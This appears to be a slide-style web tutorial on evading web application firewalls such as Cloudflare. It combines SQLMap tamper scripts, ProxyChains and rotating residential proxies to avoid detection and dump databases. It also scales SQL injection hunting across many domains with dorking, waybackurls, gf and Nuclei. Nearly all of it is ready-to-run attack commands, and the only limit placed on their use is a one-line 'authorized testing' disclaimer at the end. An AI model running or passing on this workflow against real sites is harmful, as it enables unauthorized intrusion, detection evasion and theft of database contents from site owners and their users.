Loading...
Bypass WAFs using SQLMap + ProxyChains + tamper scripts
A Web Application Firewall monitors and filters HTTP traffic to protect applications by blocking malicious payloads like SQL injection, XSS and more.
Request filtering - inspect and block malicious requestsGeo-blocking - restrict traffic by regionRate limiting - prevent brute force and DDoSCustom rule creation - tailor rules for your appBefore we begin, we need: SQLMap for automating SQL injections, ProxyChains for routing through proxies, and Residential Proxies to mimic real users.
SQLMap - powerhouse for automating SQL injectionsProxyChains - routes traffic through multiple proxiesResidential Proxies - mimic real users to avoid detectionOpen the ProxyChains config file, disable local proxy, add residential proxies, and enable random chain for reliability.
sudo mousepad /etc/proxychains.confComment out: # socks4 127.0.0.1 9050Add proxies: http <ip> <port> [user] [pass]Disable: #dynamic_chainEnable: random_chainAdd: quiet_modeAfter configuration, run curl through ProxyChains to verify everything is working correctly.
proxychains curl http://ipinfo.ioproxychains curl http://ipinfo.io/ipUse SQLMap with ProxyChains and tamper scripts to bypass Cloudflare WAF and dump databases.
proxychains sqlmap -u 'url' --dbs --batch -p id --random-agent --tamper=between,space2comment --dbms mysql --tech=B --no-cast --flush-session --threads 10Scale the process by hunting SQL injection across similar subdomains using Google Dorks and passive sources.
https://github.com/coffinxp/scripts/blob/main/dorking.pycat urls.txt | awk -F/ '{print $3}' | sort -ucat urls.txt | waybackurls | gf sqli | uro > new.txtReduce noise by getting one SQL param URL per domain to efficiently scan across a wide range of assets.
cat urls.txt | gawk -F/ '{host=$3; sub(/:80$/, "", host); if (!(host in seen)) { print $0; seen[host] } }'Fire up Nuclei with DAST SQLi templates to scan for SQL injection vulnerabilities.
nuclei -l urls.txt -t nuclei-templates/dast/sql-injection.yamlhttps://github.com/coffinxp/nuclei-templates/blob/main/errsqli.yamlProxyChains and SQLMap make a powerful combo for bypassing WAFs. With residential proxies and tamper scripts, you can bypass Cloudflare, ModSecurity, and more.
For educational and authorized testing purposes only.